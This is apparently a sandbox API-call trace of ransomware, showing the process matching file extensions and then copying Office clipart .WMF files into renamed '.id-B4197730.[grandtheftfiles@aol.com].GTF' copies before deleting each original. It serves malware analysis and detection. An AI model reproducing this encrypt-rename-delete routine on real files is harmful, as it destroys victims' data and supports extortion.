	[0084.602] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.602] lstrlenW (lpString=".docx") returned 5
	[0084.602] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.603] lstrlenW (lpString=".pdf") returned 4
	[0084.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString=".xls") returned 4
	[0084.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.603] lstrlenW (lpString=".xlsx") returned 5
	[0084.603] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.603] lstrlenW (lpString=".ppt") returned 4
	[0084.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString=".zip") returned 4
	[0084.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.603] lstrlenW (lpString=".rar") returned 4
	[0084.603] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString=".bz2") returned 4
	[0084.603] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString=".7z") returned 3
	[0084.603] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString=".dbf") returned 4
	[0084.603] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString=".1cd") returned 4
	[0084.603] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString=".jpg") returned 4
	[0084.603] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.603] lstrlenW (lpString=".doc") returned 4
	[0084.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString=".docx") returned 5
	[0084.603] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.603] lstrlenW (lpString=".pdf") returned 4
	[0084.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.603] lstrlenW (lpString=".xls") returned 4
	[0084.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.604] lstrlenW (lpString=".xlsx") returned 5
	[0084.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.604] lstrlenW (lpString=".ppt") returned 4
	[0084.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.604] lstrlenW (lpString=".zip") returned 4
	[0084.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.604] lstrlenW (lpString=".rar") returned 4
	[0084.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.604] lstrlenW (lpString=".bz2") returned 4
	[0084.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.604] lstrlenW (lpString=".7z") returned 3
	[0084.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.604] lstrlenW (lpString=".dbf") returned 4
	[0084.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.604] lstrlenW (lpString=".1cd") returned 4
	[0084.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68
	[0084.604] lstrlenW (lpString=".jpg") returned 4
	[0084.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.604] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.604] lstrlenW (lpString="BS00200_.WMF") returned 12
	[0084.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.605] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3104) returned 1
	[0084.605] CloseHandle (hObject=0x31c) returned 1
	[0084.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220
	[0084.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.605] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.605] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.605] GetLastError () returned 0x0
	[0084.605] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xc20, lpOverlapped=0x0) returned 1
	[0084.608] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xc30, lpOverlapped=0x0) returned 1
	[0084.609] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.609] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.609] SetEndOfFile (hFile=0x378) returned 1
	[0084.613] CloseHandle (hObject=0x378) returned 1
	[0084.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.614] SetEndOfFile (hFile=0x31c) returned 1
	[0084.615] CloseHandle (hObject=0x31c) returned 1
	[0084.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1
	[0084.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.615] lstrlenW (lpString=".doc") returned 4
	[0084.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.615] lstrlenW (lpString=".docx") returned 5
	[0084.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.615] lstrlenW (lpString=".pdf") returned 4
	[0084.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString=".xls") returned 4
	[0084.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.616] lstrlenW (lpString=".xlsx") returned 5
	[0084.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.616] lstrlenW (lpString=".ppt") returned 4
	[0084.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString=".zip") returned 4
	[0084.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.616] lstrlenW (lpString=".rar") returned 4
	[0084.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString=".bz2") returned 4
	[0084.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString=".7z") returned 3
	[0084.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString=".dbf") returned 4
	[0084.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString=".1cd") returned 4
	[0084.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString=".jpg") returned 4
	[0084.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.616] lstrlenW (lpString=".doc") returned 4
	[0084.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString=".docx") returned 5
	[0084.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.616] lstrlenW (lpString=".pdf") returned 4
	[0084.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.616] lstrlenW (lpString=".xls") returned 4
	[0084.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.616] lstrlenW (lpString=".xlsx") returned 5
	[0084.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.616] lstrlenW (lpString=".ppt") returned 4
	[0084.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.617] lstrlenW (lpString=".zip") returned 4
	[0084.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.617] lstrlenW (lpString=".rar") returned 4
	[0084.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.617] lstrlenW (lpString=".bz2") returned 4
	[0084.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.617] lstrlenW (lpString=".7z") returned 3
	[0084.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.617] lstrlenW (lpString=".dbf") returned 4
	[0084.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.617] lstrlenW (lpString=".1cd") returned 4
	[0084.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68
	[0084.617] lstrlenW (lpString=".jpg") returned 4
	[0084.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.617] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.617] lstrlenW (lpString="BS00224_.WMF") returned 12
	[0084.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.617] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1588) returned 1
	[0084.618] CloseHandle (hObject=0x31c) returned 1
	[0084.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220
	[0084.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.618] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.618] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.618] GetLastError () returned 0x0
	[0084.618] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x634, lpOverlapped=0x0) returned 1
	[0084.633] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x640, lpOverlapped=0x0) returned 1
	[0084.634] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.634] WriteFile (in: hFile=0x378, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.634] SetEndOfFile (hFile=0x378) returned 1
	[0084.634] CloseHandle (hObject=0x378) returned 1
	[0084.635] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.635] SetEndOfFile (hFile=0x31c) returned 1
	[0084.636] CloseHandle (hObject=0x31c) returned 1
	[0084.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1
	[0084.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.636] lstrlenW (lpString=".doc") returned 4
	[0084.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString=".docx") returned 5
	[0084.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.637] lstrlenW (lpString=".pdf") returned 4
	[0084.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString=".xls") returned 4
	[0084.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.637] lstrlenW (lpString=".xlsx") returned 5
	[0084.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.637] lstrlenW (lpString=".ppt") returned 4
	[0084.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString=".zip") returned 4
	[0084.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.637] lstrlenW (lpString=".rar") returned 4
	[0084.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString=".bz2") returned 4
	[0084.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString=".7z") returned 3
	[0084.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString=".dbf") returned 4
	[0084.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString=".1cd") returned 4
	[0084.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString=".jpg") returned 4
	[0084.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.637] lstrlenW (lpString=".doc") returned 4
	[0084.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.637] lstrlenW (lpString=".docx") returned 5
	[0084.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.637] lstrlenW (lpString=".pdf") returned 4
	[0084.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString=".xls") returned 4
	[0084.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.638] lstrlenW (lpString=".xlsx") returned 5
	[0084.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.638] lstrlenW (lpString=".ppt") returned 4
	[0084.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.638] lstrlenW (lpString=".zip") returned 4
	[0084.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.638] lstrlenW (lpString=".rar") returned 4
	[0084.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString=".bz2") returned 4
	[0084.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString=".7z") returned 3
	[0084.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.638] lstrlenW (lpString=".dbf") returned 4
	[0084.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.638] lstrlenW (lpString=".1cd") returned 4
	[0084.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0084.638] lstrlenW (lpString=".jpg") returned 4
	[0084.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.638] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.638] lstrlenW (lpString="BS00438_.WMF") returned 12
	[0084.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.640] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1212) returned 1
	[0084.640] CloseHandle (hObject=0x378) returned 1
	[0084.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220
	[0084.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.641] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.641] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.641] GetLastError () returned 0x0
	[0084.641] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4bc, lpOverlapped=0x0) returned 1
	[0084.649] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0084.650] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.650] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.650] SetEndOfFile (hFile=0x37c) returned 1
	[0084.650] CloseHandle (hObject=0x37c) returned 1
	[0084.651] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.651] SetEndOfFile (hFile=0x378) returned 1
	[0084.652] CloseHandle (hObject=0x378) returned 1
	[0084.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
